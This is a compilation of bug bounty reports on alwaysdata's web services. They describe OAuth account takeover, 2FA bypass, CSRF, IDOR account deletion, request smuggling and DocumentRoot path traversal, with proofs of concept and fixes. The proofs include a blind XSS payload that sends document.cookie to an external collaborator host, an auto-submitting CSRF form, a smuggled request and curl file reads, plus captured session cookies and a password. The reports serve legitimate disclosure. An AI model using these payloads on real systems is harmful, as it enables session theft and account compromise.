Security vulnerabilities

Severity:
High

Summary:
OAuth account linking occurs automatically and implicitly on the company's web application, without requiring user verification, which can enable account takeover. Suppose an attacker signs up using OAuth with the same email as an existing account (registered via email/password). In that case, they are granted access to that existing account without any ownership validation, which is a critical authentication flaw.

Steps to Reproduce:
Create a target account (victim):

Go to alwaysdata.com

Register a new account using email/password, e.g., victim@example.com.

Log out.

Trigger the issue (attacker):

Go to the website

Log in using an OAuth provider (e.g., Google or Apple) that uses the same email address: victim@example.com.

Observe:

The OAuth login automatically links to the existing account created via email/password.

No verification (like password prompt, email confirmation, or user consent) is required.

The attacker now has full access to the victim's account.

Impact:
This vulnerability allows an attacker to fully compromise accounts by using an OAuth provider with an email address matching an existing account, without needing the victim’s password or any verification step.

Possible consequences:

Unauthorized access to personal data.

Tracking information leakage

Service misuse or device control.

Breach of privacy and user trust.

Recommended Fixes:
Do not auto-link OAuth accounts based solely on email.

Prompt the user for verification when an existing account with the same email exists (e.g., via:

Password input,

Email confirmation,

Explicit linking process in settings).

Provide clear UI/UX for account linking that ensures user intent.

Suggested CVSS (3.1) Score:
8.8 (High)

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact: High

Integrity Impact: High

Availability Impact: Low

Regards,
Mehedi Hasan

Note: I was awarded a $500 reward for the same vulnerability reported to some other companies. They marked this as valid and attempted to fix the bug.

Summary:
Revoking an application's access via the OAuth provider's settings should terminate the session in the main application. However, users are still logged in if the session remains active despite the OAuth disconnection.

Steps to Reproduce:
01. Log in to alwaysdata.com using Google OAuth.
02. Let's say an attacker hijacked your OAuth session, or you logged in to another device not owned by you and forgot to log out from there after using the account, and you wanted to destroy the OAuth session there.
03. Go to the Google OAuth provider’s settings from your Google account and revoke the application’s access.
04. You will see that, even after the OAuth provider disconnects, the session remains valid and doesn't terminate.

Mitigation:
If a user’s OAuth access is revoked, force the application session to require re-authentication using OAuth. This ensures unauthorized sessions cannot continue.

Impact:
This flaw allows users or attackers with an active session to retain access even after OAuth access is revoked, creating a significant security risk and bypassing expected session termination mechanisms.

## Note: I was awarded $300 by reporting the same issue to some other companies and they accepted it and fixed it.

Summary:
It is possible to remain authenticated in the application even after deleting the identity account (email/SSO provider) used to log in, resulting in a user session that continues to function despite the underlying identity no longer being valid. This breaks the identity-assurance model and may allow long-term unauthorized access.

Steps To Reproduce:
01. Create an account in the alwaysdata.com application using any email/password registration.
02. Log in successfully and confirm access to protected features.
03. While the session remains active, open a new browser/tab and permanently delete the associated identity account (e.g., delete the Google account/email used to register).
04. Return to the application and refresh or continue using your session.
05. Observe that the application continues to function normally and the user retains complete access.

Impact:
01. Allows long-term access for a user whose identity has been destroyed, violating ownership-based trust assumptions.
02. Increases risk of orphaned sessions or unauthorized access

Recommendation:
01. Implement continuous/periodic checks to verify that the backing identity still exists.
02. Invalidate all user sessions upon account deletion response from the identity provider.
03. Force re-authentication if account verification fails.

Best Regards,
NH Limon

#Failure to invalidate session after logout from 2nd tab.

Hello Team,

I hope you are doing well. While Researching in your domain I found Failure to invalidate session after logout from 2nd tab vulnerability in your domain. Attacker can view token and any sensitive data.

This Vulnerability found in:
1. admin.alwaysdata.com
2. webmail.alwaysdata.com

#Steps to Reproduce:

1. Login to admin.alwaysdata.com
2. Open another tab and copy the login account URL and paste into 2nd tab.
3. Go to profile option into 1st tab or any other sensitive data page.
4. Logout your account from 2nd tab and then visit to 1st tab, don't refresh that page, so you can see that page is still active and attacker can see victim details or any sensitive data.

Impact:

If a user login their account in café or in a office, Victim open another tab for doing their work and then logout the account in that tab. Victim assume that the account are logged out and victim forget to close the browser but into 1st tab, victim account are still logged in and attacker can view any sensitive data and token or any bank details.

#Note:

I can make a one video for both('admin.alwaysdata.com','webmail.alwaysdata.com')

Thank You,

Waleed Anwar

Bug Report — Critical: Registration & Instance Creation — T&Cs / Consent Bypass

Target: https://admin.alwaysdata.com Endpoint(s): /register (web-form POST), root / POST (form that registers/creates instances)
Reported by: Ritanshu Sharma
Testing header: X-Bug-Bounty: SecurityTester-RitanshuSharma-2025
Date: (attach your submission date when sending)
IP: 106.219.120.29
Executive summary (one line)

A critical business-logic vulnerability allows account registration and instance provisioning to succeed without server-side enforcement of Terms & Conditions / consent fields (contract_28, contract_36). The frontend requires checkboxes but the backend accepts requests where those parameters are omitted, empty, or tampered — enabling automated mass account/instance creation and creating major legal/compliance exposure.

Vulnerability classification

Type: Business Logic / Missing Server-side Consent Enforcement

CVSS (reported): 7.5 (High)

Auth required: None

Attack complexity: Low

Root cause

Server-side registration/instance-creation logic does not enforce required consent fields. Frontend checkboxes exist but backend validation is missing or bypassable; consent is not consistently persisted or validated before provisioning.

Proof of Concept (PoC) — exact requests tested
PoC A — Working example (with consent fields included)

This is the valid POST observed (raw headers + body):

POST / HTTP/2
Host: admin.alwaysdata.com
Cookie: django_language=fr; csrftoken=QNCysyCKIwz2VXEOf5V7idzSdxTN5ZeM; sessionid=mfos2ihpy3jh3f0zjfm3tueo2puu3vd7
Content-Length: 164
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://admin.alwaysdata.com Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://admin.alwaysdata.com/ Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrfmiddlewaretoken=2ZMSUgXC1YtJ9HVJ7MPTF8OuUftCddUCICegcEpczkSBUupncHAQNbdcXCcf82Ye&product=2012&name=nehasharma&password=Hello%40123&contract_28=on&contract_36=on

PoC B — Exploit (omit consent fields)

Send the same request body but remove contract_28 and contract_36. Result: registration / instance creation still succeeds.

curl example (exploit):

curl -k -v -X POST 'https://admin.alwaysdata.com/' \

1. H 'Host: admin.alwaysdata.com' \
2. H 'Content-Type: application/x-www-form-urlencoded' \
3. H 'Cookie: csrftoken=QNCysyCKIwz2VXEOf5V7idzSdxTN5ZeM; sessionid=mfos2ihpy3jh3f0zjfm3tueo2puu3vd7' \
4. H 'Origin: https://admin.alwaysdata.com' \
5. -data 'csrfmiddlewaretoken=2ZMSUgXC1YtJ9HVJ7MPTF8OuUftCddUCICegcEpczkSBUupncHAQNbdcXCcf82Ye&product=2012&name=nehasharma&password=Hello%40123'

Observed behavior: The server responds as if registration succeeded (account/instance created). Screenshot and HTTP traces included in attachments.

Note: I used the csrftoken and sessionid values seen in the browser trace; exploit also succeeds when supplying a valid CSRF + session or when using other valid sessions in testing.

Additional tests to confirm scope

Submit POST from a curl client (no JS) — succeeds.

Submit POST with empty contract_28= or contract_36= — succeeds.

Submit POST to any other registration/instance endpoint (API or admin console) — behavior appears consistent (same lack of server-side consent check).

Check DB (see Audit queries) — many users exist without associated consent records.

Impact

Legal / Compliance: No recorded user consent → GDPR violations (no lawful basis under Article 6 for processing personal data), exposure to regulatory fines and complaints. Noncompliance with contractual terms can void protections.

Operational abuse: Automated mass account/instance provisioning → resource exhaustion, spam, abuse channels.

Business risks: Reputational damage, audit failures (SOC2/ISO27001), insurance/contractual risk, and potential litigation where users deny agreement to terms.

Reproduction evidence (attach when sending)

Screenshots of successful registration via exploit POST.

Video showing: form submission without consents → successful account/instance creation.

Raw HTTP request/response traces (attached).

Root-cause analysis (concise)

Frontend enforces checkbox UI but backend registration/instance creation handler(s) do not require or validate the presence/value of required consent parameters. Consent values are either not required for account creation, not stored, or not validated prior to resource provisioning.

Immediate remediation (apply within 24 hours)

Enforce server-side validation for required consent fields (contract_28, contract_36) in every code path that creates a user or provisions resources. If missing or false, return HTTP 400 with a clear error message. Do not proceed to create accounts or provision resources until consent is validated and persisted.

Persist consent records on acceptance: store {user_id, consent_key, consent_value, consent_version, timestamp, ip, user_agent, request_id}.

Temporarily enable rate-limiting + CAPTCHA on /register and any programmatic registration endpoints to reduce abuse.

Audit & quarantine: Identify accounts/instances created without consent; flag/quarantine them pending follow-up and retroactive consent collection.

Add monitoring/alerts for abnormal registration rates and missing consent storage events.

Description

There is a design flaw in the domain and mailbox management logic within a user account on AlwaysData.
A user who owns multiple subscriptions within the same account can create a mailbox in one subscription using a domain that belongs to another subscription within the same account, without strict verification of domain ownership.

As a result, mailboxes become associated with the domain object itself rather than with the subscription that created them.
When subscriptions or domains are later transferred to other users, mailboxes and their stored emails are automatically re-associated based on domain ownership, enabling serious exploitation scenarios.

—

Scenario 1 — Create a mailbox then transfer the subscription that owns the domain

1. The attacker’s AlwaysData account contains two subscriptions:

Subscription A: with a different domain.

Subscription B: contains the domain victim-domain.com.

2. From within Subscription A, the attacker creates a new mailbox using the domain from Subscription B (for example admin@victim-domain.com).

3. The attacker then transfers Subscription B (which contains the domain) to another user.

4. The mailbox the attacker created remains active and operates under the domain now owned by the new user.

Result:
The attacker retains an active mailbox under a domain that now belongs to another user, allowing them to receive/send emails as that domain — enabling impersonation or disclosure of sensitive communications.

—

Scenario 2 — Create a mailbox, transfer the subscription that contains the mailbox, then later transfer the domain

1. The attacker creates a mailbox in Subscription A using the domain in Subscription B.

2. The attacker transfers Subscription A (which contains the mailbox) to another user. The new user sees the mailbox ready and uses it.

3. Later, the attacker transfers the domain from Subscription B to a new subscription controlled by the attacker.

4. Because the system links mailboxes to the domain, when the domain is moved the mailboxes and all their contents are transferred to the attacker.

Result:
The attacker gains access to all past and future emails of the mailbox used by the new user, constituting a full privacy breach.

POC: https://admin.alwaysdata.com/support/89714/

—

Impact

Unauthorized access to private messages.

Identity impersonation via email addresses tied to the victim domain.

—

Fix Recommendation

Prevent selecting domains from other subscriptions within the same account when creating a mailbox.

#Csrf Lead to remove Google auth from account

Hello Team, I hope you are doing well. I found Csrf Lead to remove Google auth from account in admin.alwaysdata.com.

Steps To Reproduce:

1. Login to admin.alwaysdata.co
2. Go to https://admin.alwaysdata.com/user/ and click on delete button and capture the request in burpsuite.
3. Make Csrf Poc and save in to csrf.html.
4. Send this request to another account which have Google Auth.
5. You can see that Google Auth is removed into second account.

Thank You,

Waleed Anwar

Summary
When two-factor authentication (2FA) is enabled, signing in via OAuth results in immediate access to the account without being prompted for the 2FA code. This behavior effectively bypasses the account's second authentication factor.

Reproduction steps:

1. Create or use an existing account on the target site (e.g., user@example.com) and enable 2FA (TOTP).

2. Log out of the site and clear session cookies.

3. Click Sign in with Google and complete Google's OAuth flow using the same email address.

4. Observe: Access to the site is granted immediately and no 2FA prompt is shown.

Expected behavior: After successful OAuth, if the account has 2FA enabled, the site should require the configured 2FA method (TOTP / OTP / push) before issuing an authenticated session.

POC: https://admin.alwaysdata.com/support/89687/ —

Impact:

2FA Bypass

—

Technical root causes (likely)

The server does not check the account's mfa_enabled flag after successful OAuth and issues a session immediately.

—

Recommended fix

Enforce MFA server-side after OAuth: After completing the OAuth/SAML flow, check the user's MFA status and require the configured 2FA verification before issuing the session.

Executive summary:
The .git directory on https://security.alwaysdata.com is publicly accessible. .git/HEAD and .git/config return repository metadata (remote origin). This can allow repository reconstruction and full source code disclosure.

Reporter IP: 192.168.1.17
Custom header used: X-Bug-Bounty: Hacker-sam123

Proof-of-Concept (minimal, non-destructive):
1) curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/HEAD

1. > HTTP/2 200 … body: "ref: refs/heads/master"

2) curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/config

1. > returns config (screenshot attached) showing remote origin.

I performed only minimal reads to prove exposure. I DID NOT download .git/objects or reconstruct the repository in compliance with program rules.

Impact:
Public .git exposure may allow extraction of source code, commit history, and potentially hard-coded secrets — critical confidentiality risk.

Suggested fix:
- Immediately deny HTTP access to .git (examples: Apache/Nginx rules).
- Remove .git from webroot or deploy built artifacts instead.
- Rotate any exposed secrets if found.

1. curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/HEAD 2. curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/config

Summary:
When transferring a domain from one Alwaysdata account to another, the associated Mailman mailing lists are not migrated or revoked. The original account retains ownership of these lists and can continue to receive or send emails on behalf of the transferred domain.

Steps to Reproduce:

1. In Account A, add a custom domain (e.g. example.com).

2. Create a Mailman mailing list such as team@example.com.

3. Verify the list is active and receives emails.

4. Transfer the domain example.com to Account B via the official domain transfer process.

5. Observe that the mailing list team@example.com still exists under Account A and can receive/send emails, despite the domain no longer being owned by this account.

POC: https://admin.alwaysdata.com/support/89434/

Impact:

The previous account holder retains unauthorized control over mailing lists linked to a domain they no longer own.

This may allow:

Unauthorized reception of emails intended for the new domain owner.

Sending spoofed emails from the domain.

Potential data leakage of private or sensitive communications.

Severity: High (P2) — because it breaks domain ownership boundaries and enables unauthorized email control.

Recommendation:

When a domain is transferred:

Either migrate all associated mailing lists to the new owner (with consent),

Or revoke and disable them in the old account immediately, ensuring the previous account cannot continue using them.

#Client-Side Desync Http Request Smuggling in https://admin.alwaysdata.com/site/resolver/

Severity(Critical)

Hello Team, I hope you are doing well. While, Researching in your domain, I found Client-side desync in https://admin.alwaysdata.com/site/resolver/ vulnerability in your domain.

#Steps to Reproduce:

1. Go to https://admin.alwaysdata.com/site/resolver/ and Capture the request in Burp.
2. Paste the code to perform Client-side desync ( Code is Below):

POST /site/resolver/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: csrftoken=; mtm_consent=; roundcube_sessid=*; roundcube_sessauth=*; django_language=fr; sessionid= Content-Type: text/plain
Content-Length: 104
Transfer-Encoding: chunked

0

GET /en/ HTTP/1.1
Host: www.alwaysdata.com Content-Type: text/plain

{
"addresses":["<script>alert(1)</script>"
]

}

3. Run this Request and you can see 2 Responses occurs.
4. Send this Request multiple time and see it's Caching the request( Screenshot attached Below).

#Video is attached below for confirming Client-Side Desync Http Request Smuggling

# Impacts of client-side desync:

Inject malicious scripts: Smuggle a request that injects a malicious script into a victim's session.

Hijack the session: Use the injected script to steal the victim's session cookie, allowing the attacker to impersonate the victim.

Force authenticated actions: The attacker can compel the victim's browser to perform unauthorized actions on their behalf.

Web cache poisoning
If the vulnerable endpoint involves a web cache, a CSD can be leveraged to poison it.

Redirect users: An attacker could poison the cache to redirect users to a malicious site, potentially leading to phishing or other scams.

Sensitive information disclosure
A CSD can force a victim's browser to send a request that leaks sensitive information, such as their session cookies

Denial of service (DoS)
Overwhelming a server with malformed or inconsistent requests can cause it to become unstable or unresponsive, leading to a denial-of-service condition.

Thank You,

Waleed Anwar

Reporter: Li Xian (otterlysecure)
Date: 22 Sep 2025 (UTC+8)
Asset: Hosting control panel → virtual host configuration for any domain

Summary

The hosting control panel accepts unvalidated paths for a site’s Root directory and writes them directly into the Apache vhost DocumentRoot. By setting DocumentRoot to /, an attacker can publish arbitrary world-readable files from the server filesystem to the internet (e.g., /etc/passwd, /etc/hosts) under the attacker’s domain. This is a tenant isolation bypass and information disclosure vulnerability.

Severity Rating: High

CVSS v3.1 (proposed): 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Impact

Unauthenticated internet users can read any world-readable file on the server via the affected domain, exposing system configuration, service versions, and other sensitive information that materially aids further attacks.

Violates tenant isolation in principle: if any tenant or system component stores world-readable artifacts (logs, backups, static assets), these can be served publicly by another tenant’s vhost.

Expands attack surface for privilege escalation and targeted exploitation.

Affected Functionality

Hosting control panel “Root directory” setting for websites (Apache vhost generation).

Apache evaluates the resulting DocumentRoot without confinement to the account home.

Technical Details / Root Cause

User-supplied paths are written verbatim into Apache config. Example (observed vhost):

<VirtualHost *>

ServerName otterlysecure.alwaysdata.net
DocumentRoot "/home/otterlysecure/../../../../../../"
<Location />
  AddHandler fcgid-script .php
  FcgidWrapper "/usr/bin/env /usr/bin/php-cgi" .php
</Location>

</VirtualHost>

Because ../../.. is not canonicalized or constrained, the vhost can be pointed to any filesystem path (including /).

Proof of Concept (PoC)

In the control panel, set Root directory to:

../../../../..// (via path traversal)

Request world-readable system files via my domain:
curl -i https://otterlysecure.alwaysdata.net/etc/hosts curl -i https://otterlysecure.alwaysdata.net/etc/passwd

Observed results:

HTTP/200 with contents of /etc/hosts and /etc/passwd.

Reset Root directory back to a safe path under my home after testing.

Notes on scope/ethics

I accessed only system files (/etc/hosts, /etc/passwd) sufficient to demonstrate impact.

I did not attempt to access other tenants’ data or private directories.

Why this matters even if some paths 403

Reading /etc/* proves arbitrary file read of world-readable files over the public web. Current 403s on some directories (e.g., /home) are incidental to Unix permissions/overrides and do not mitigate the core design flaw (unconfined DocumentRoot).

Timeline

2025-09-22: Discovered and verified impact (read /etc/hosts, /etc/passwd over HTTPS via my domain).

2025-09-22: Report submitted.

Please see attachments.

Credits / Contact

Reporter: Li Xian

Preferred contact: lixianchai-ywh-fd1a7856643e0e35@yeswehack.ninja

Severity
P3 – Medium

Product / Area
Account Management / Shared Permissions / Email Management (domain selection when creating a Mailbox)

Summary
A previously reported issue was observed again (Report ID: [203], and it was marked as Fixed on [28/8/2025]). The issue is that an invited user who has not enabled two-factor authentication (2FA) can view the domains of another subscription when attempting to create a Mailbox from their personal account. This behavior reflects a failure to enforce the 2FA requirement and constitutes information disclosure.

This issue was re-observed on 15/09/2025.

Steps to Reproduce:

1. Create a subscription account in Alwaysdata and add a domain.

2. Create another user account (subscription).

3. From the main account, add this user as an Administrator with full permissions.

4. Enable the requirement for 2FA before access.

5. From the secondary account (the other user), attempt to add a Mailbox.

6. The domain list will display, including the main account’s domain, even though the user has not enabled 2FA.

POC: https://admin.alwaysdata.com/support/89183/

(Regression):

The vulnerability was originally reported and marked as Fixed.

Its reappearance means the fix was bypassed.

#Attacker Can Access Webmail.alwaysdata.com without validating account in admin.alwaysdata.com

Hello Team,

I hope you are doing well. I found Attacker Can Access Wemail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Steps to Reproduce:

1.Go to https://www.alwaysdata.com/en/marketplace/ and install any application you want.
2.Fill the form then submit the request.
3.Then go to webmail.alwaysdata.com to put your address and password in which you had submitted in Step 2.
4.You can see that attacker can login in webmail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Impact:

Attacker can use victim email to create an account and then use the address to login in webmail.alwaysdata.com. Attacker send fake emails and phishing email to someone as a behalf of a victim.

Thank You,

Waleed Anwar

#Insecure Cache-Control Leading to View Email, Password and User Information in https://www.alwaysdata.com/en/marketplace/ (All Applications).

Hello Team, I hope you are doing well. I found Insecure Cache-Control Leading to View Email, Password and User Information in https://www.alwaysdata.com/en/marketplace/ (All Applications).

Steps to Reproduce:

1. Go to https://www.alwaysdata.com/en/marketplace/.
2. Click on Install any application button you want to install.
3. Fill the form and submit the request.
4. It will go https://admin.alwaysdata.com/user/validation-needed/.
5. Press Back Button and you can see all of these information you are submitted these are shown in the form.

# Impact:

In a PC scenario in an office or in a library or in a coffee shop or such places allow for an attacker to exploit this vulnerability (since the amount of pages visited after visiting doesn't matter). Also it is very easy to get access to a laptop, so this is a likable scenario, and once it happens the attacker has full control over the victim's app data since he/she can use the account.

# Note:

Tested in Chrome latest version, Firefox and Microsoft Edge.

Thank You,

Waleed Anwar

Description:- The vulnerability being demonstrated is Blind Cross-Site Scripting (Blind XSS), a subset of stored XSS, where an attacker injects a malicious script (like an SVG onload payload) that is stored by the application and executed in a different context—usually when viewed by an unsuspecting party, such as an administrator or support user.

Payload:- car’”?><svg/onload=“fetch(’https://adr0y18zp382qw4i8tqpvsj3eukl8gw5.oastify.com?cookie='+document.cookie)">%22%3E) —> see it shows the hyperlink to click by any support assitance employ it would leak the ip of internal organization and attacker can perform the DDOS or access to internal data by endpoints.

Blind XSS: This occurs when the injected payload is stored and only triggers execution out-of-band (not in the attacker’s immediate session), typically when accessed or rendered by someone else, such as through an admin dashboard or email notification.

The payload (<svg/onload=…>) abuses SVG tags to execute JavaScript, exfiltrating sensitive data like cookies to an external domain controlled by the attacker.

Impact;- The script executes when the comment is rendered, sending the victim’s IP address and cookie to the attacker’s Burp Collaborator or a similar endpoint, as observed in Burp Suite.

Because the attacker does not immediately see the results, but instead receives a callback containing the stolen data, this is specifically termed “blind” XSS.

Video link :- https://drive.google.com/file/d/10N9lspffD9loJaEQMxoK0ikdWoDwU9Xc/view?usp=sharing

Description The login endpoint implements rate limiting to prevent abuse, but it appears ineffective . Sending 100+ requests with null/empty payloads via Burp Intruder results in consistent 200 OK responses without triggering 429 . A correct password yields 302 (redirect, indicating success).

Affected Asset:https://admin.alwaysdata.com/login

Steps to Reproduce

1.Navigate to the login page (https://admin.alwaysdata.com/login).
2.Use Burp Suite Intruder to send 100+ requests with null/empty payloads
3.Observe 200 OK responses for all, no 429.
4.Test a valid credential: Receives 302.

Impact

Allows potential brute-force on passwords without reliable blocking.
Minor resource consumption from repeated requests.

Hello Team,

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing.

CSRF HTML Code:

  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://www.alwaysdata.com/en/contact/" method="POST">
      <input type="hidden" name="address" value="************" />
      <input type="hidden" name="name" value="janam" />
      <input type="hidden" name="number" value="**************" />
      <input type="hidden" name="slot" value="" />
      <input type="hidden" name="message" value="hello" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState(', '', '/');
      document.forms[0].submit();
    </script>
  </body>

There is a csrfmiddleware but when i was removing and sending the request to autenticated user its working and submitting the request.

Thank You,

Waleed Anwar

Hello there,

i found an XSS vulnerability affecting "addresses" JSON parameter in a POST request to admin.alwaysdata.com/site/resolver.
i have to apologies I didn't get around including a custom header before i found the bug, I'm hopeful this will be overlooked on my part
my POC Is attached below pretty neet and straightforward and includes my IP as requested in POC guidelines. cheers.

:)

IDOR-Lead To Any Account Deletion
Description:

There is a logic flaw in the permissions system. When a user is deleted through the /permissions/[id]/delete/ endpoint, the system does not properly check if the requester is allowed to delete that specific user.

By intercepting the request and changing the id value, a user can delete the Any Account by their Id

Steps to Reproduce:

1. Create a new accounts on alwaysdata with the following email:

`attacker1@gmail.com`

(Account A) 

`attacker2@gmail.com`
 (Account B)

 `Victim1@gmail.com`
 (Victim Account )

2. Go to:

`https://admin.alwaysdata.com/permissions/`
3. Add a second (Account B) as a team member/user:

`attacker2@gmail.com`
4. As Account A (attacker1@gmail.com), go to the Permissions panel again.

5. You will (see Account B) listed and a “delete” button next to it.

6. Use Burp Suite to intercept the deletion request for Account B, for example:

POST /permissions/402834/delete/

7. Modify the ID in the request to match Victim Account’s ID (e.g.,402812 ):

8.Send the modified request. (It will succeed)

Impact:

An attacker can exploit an IDOR vulnerability to delete any Account

Loss of access for the original owner

Loss of Availability (DoS against users):

An attacker can delete arbitrary user accounts, causing permanent or temporary loss of access. This results in a denial-of-service for targeted users or even large sets of users if automated.

Loss of Data Integrity:
Deleting an account typically removes associated personal information, preferences, content, or transaction history. This leads to irrecoverable data loss.

Escalation of Attacks:
Attackers could target privileged users (e.g., admins, moderators, or paying customers), deleting their accounts to gain an advantage or disrupt business operations.

Reputation & Trust Impact:
Users may lose trust in the platform if their accounts or data can be deleted by malicious actors without authorization.

Severity:Critical
CWE: CWE-639: Authorization Bypass Through User-Controlled Key

CVSS v3.1 Example Score:

Attack Vector: Network (N)

Attack Complexity: Low (L)

Privileges Required: Low (L) or None (N) depending on auth state

User Interaction: None (N)

Scope: Changed (C) if admins or high-privilege accounts are impacted

Confidentiality: Low (L)

Integrity: High (H)

Availability: High (H)
→ Base Score: ~8.5–9.1 (High/Critical)

Hello Team

I hope you are doing well. While Researching in your domain, I found csrftoken not unique to session or specific user and csrfmiddlewaretoken can be altered issue in https://admin.alwaysdata.com

Steps to Reproduce:

1: A post request will be sent /api/tokens/delete/302 or /api/tokens/delete/some_number and i see in burp that in the cookie's header csrftoken = vhHMjvtks3jwGkHikbY48d5gQR76yvPA and i see in the params sent that csrfmiddlewaretoken= 8b9QkWMZgnqohp9R77Tu4m46PQW0YZRwtiGsth59ygzKNzGZh8Ho2pZcvxTWmkwW

what i noticed is that changing csrfmiddlewaretoken's value to csrftoken 's value will still make the request work..
ie setting csrfmiddlewaretoken = vhHMjvtks3jwGkHikbY48d5gQR76yvPA will still let the request work.

2: I noticed that the csrftoken sent in requests is not unique to the session id or user logged , meaning if im logged in as user1 and have csrftoken=x then i can login as user2 and send the request with csrftoken=x and csrfmiddlewaretoken=x and it will work!

what does this mean?

3.this means csrfmiddlewaretoken does not really add another layer of protection, i can easily change it the csrftoken stored in the cookie and it will still work

4. given a valid csrftoken from any user (for example csrftoken=c7wq7XJaQq71Eump3tVwNJpOSHLbiqSC), its possible to create a csrf request that sends the POST /api/tokens/delete/index request (where index can be enumerated ) with this valid csrftoken being sent as the csrfmiddlewaretoken value and with
X-CSRF-Token set also as the valid csrf token as well and it will work and we can manage to delete user api tokens through csrf exploit( for example clicking on a website that sends such request).

Note:

First account user csrftoken can be used to remove second account api token.

Thank You,

Waleed Anwar

#Description:
During testing, I found that the TOTP code verification does not properly validate the expiry window. Even after waiting for the OTP to expire (30s), I was still able to use the expired code to perform sensitive actions like updating my profile.

#Impact:

Replay attack possible using previously used OTPs.

Weakens 2FA mechanism.

May allow attackers to bypass intended security checks.

#Steps to Reproduce:

Enable 2FA on account.

Generate OTP via authenticator app.

Wait for 30 seconds until OTP expires.

Submit the expired OTP.

Server still processes the action (profile updated).

#Expected Behavior:
The expired OTP should be rejected.

#Actual Behavior:
Expired OTP is accepted.

Severity: Medium – P3

Description:
A security issue was discovered in the account management system on Alwaysdata. When an account owner adds another user as an Administrator and grants them full permissions, but enforces the condition that this user must enable two-factor authentication (2FA) before accessing the shared account, unsafe behavior occurs.

In this scenario, the user who has not yet enabled 2FA can see the list of domains associated with the owner’s shared account when attempting to add a Mailbox in their personal account. Although they cannot create an email using those domains, the mere visibility of the domain names exposes sensitive information about the owner’s infrastructure.

Steps to Reproduce:

1. Create a subscription account in Alwaysdata and add a domain.

2. Create another user account (subscription).

3. From the main account, add this user as an Administrator with full permissions.

4. Enable the requirement for 2FA before access.

5. From the secondary account (the other user), attempt to add a Mailbox.

6. The domain list will display, including the main account’s domain, even though the user has not enabled 2FA.

###POC: https://admin.alwaysdata.com/support/88664/

Impact:

Unauthorized exposure of the owner’s domain names.

This may lead to internal infrastructure information leakage.

An attacker may leverage knowledge of these domains for further attacks.

Note:
If the user is not granted any permissions for email or domains, they cannot see any of the shared account’s domains. This illustrates that domain visibility without 2FA results from the granted permissions interacting with the lack of enforced 2FA, and is not normal system behavior.

Recommendation:
Alwaysdata should ensure that any user who has not enabled 2FA cannot access or even view any sensitive data associated with the shared account, including the domain list.

# HTTP Parameter Pollution Lead to Crash the Website of admin.alwaysdata.com:

Hello Sir, I hope you are doing well. While, Researching on your domain, I found HTTP Parameter Pollution Lead to Crash the Website of admin.alwaysdata.com.

Steps to Reproduce:

1. Login into admin.alwaysdata.com.
2. Go to https://admin.alwaysdata.com/search/?q=1.
3. Input &q= after q=1
4. Input long string which is attached below in the report.
5. You can see that Chrome are crashed and not responding.

Impact:

When attacker can send this https://admin.alwaysdata.com/search/?q=1&q=longstring to any authenticated user, his/her browser was crashed for long time.

#Note:

Tested in Chrome, Mozilla and Microsoft Edge.

Thank You,

Waleed Anwar

Description:

There is a logic flaw in the permissions system. When a user is deleted through the /permissions/[id]/delete/ endpoint, the system does not properly check if the requester is allowed to delete that specific user.

By intercepting the request and changing the id value, a user can delete the main admin — even if they don't have permission to do so. This can lead to full account takeover if the attacker had added themselves earlier as a user

Steps to Reproduce:

1. Create a new account on alwaysdata with the following email:

 `ebrahimmagdy517@gmail.com`  

 (will be referred to as the **primary account** / Account A)

2. Inside the admin panel, go to:

 `https://admin.alwaysdata.com/permissions/`

3. Add a second email address as a team member/user:

 `testhackers663@gmail.com`  
 (will be referred to as (secondary account) / Account B)

4. Accept the invitation and activate Account B via the link received in email.

5. As Account A (ebrahimmagdy517@gmail.com), go to the Permissions panel again.

6. You will (see Account B) listed and a “delete” button next to it.

 However, you **cannot delete Account A (yourself)** — which is expected.

7. Use Burp Suite to intercept the deletion request for Account B, for example:

POST /permissions/402834/delete/

8. Modify the ID in the request to match Account A’s ID (e.g.,402812 ):

9.Send the modified request. (It will succeed), even though you are trying to delete the owner of the project

10. As a result:
- Account A is no longer part of the project and has lost access.
- Account B now fully controls the project/domain (`aqaqwq.alwaysdata.net`) including settings, databases, and any hosted files.

Impact:

An attacker can exploit an IDOR vulnerability to delete the main admin account by modifying the user ID in a delete request. This leads to:

  Full account and domain takeover

  Loss of access for the original owner

  Complete control over data, settings, and services

If an attacker gains temporary access to the admin’s email, they can add their own account, then remove the real owner — resulting in a critical security breach

Recommendation:

- Implement strict access control checks on the `/permissions/[id]/delete/` endpoint.
- Deny deletion requests for project owners, regardless of ID manipulation.
- Ensure server-side validation enforces user role & permissions.
- Consider using UUIDs or scoped IDs instead of numeric incremental IDs for more secure object references.

Proof of Concept (Video):

https://drive.google.com/file/d/1XMGLchHjj1Wl6EsgRPUZeniTexVCTJsb/view?usp=drive_link

Severity:Critical